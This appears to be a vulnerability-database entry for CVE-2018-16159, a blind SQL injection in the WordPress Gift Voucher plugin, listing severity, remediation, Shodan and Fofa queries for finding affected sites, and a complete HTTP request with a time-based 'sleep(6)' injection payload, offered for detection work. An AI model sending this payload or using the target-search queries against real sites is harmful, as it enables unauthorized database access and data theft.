🔙 목록으로 돌아가기

CVE-2018-16159: WordPress Gift Voucher <4.1.8 - Blind SQL Injection

TitleWordPress Gift Voucher <4.1.8 - Blind SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
RemediationFixed in version 4.1.8.
CVSS Score9.8
EPSS Score0.70496
CVE IDCVE-2018-16159
CWE IDCWE-89
Shodan Queryhttp.html:"/wp-content/plugins/gift-voucher/"
Fofa Querybody="/wp-content/plugins/gift-voucher/"
Tags time-based-sqli cve cve2018 sqli wordpress unauth wp gift-voucher edb wpscan wp-plugin codemenschen vkev vuln

🔍 Vulnerability Description

WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363
Connection: close
Content-Length: 61
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

action=wpgv_doajax_front_template&template_id=1 and sleep(6)#

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-16159.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-16159.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A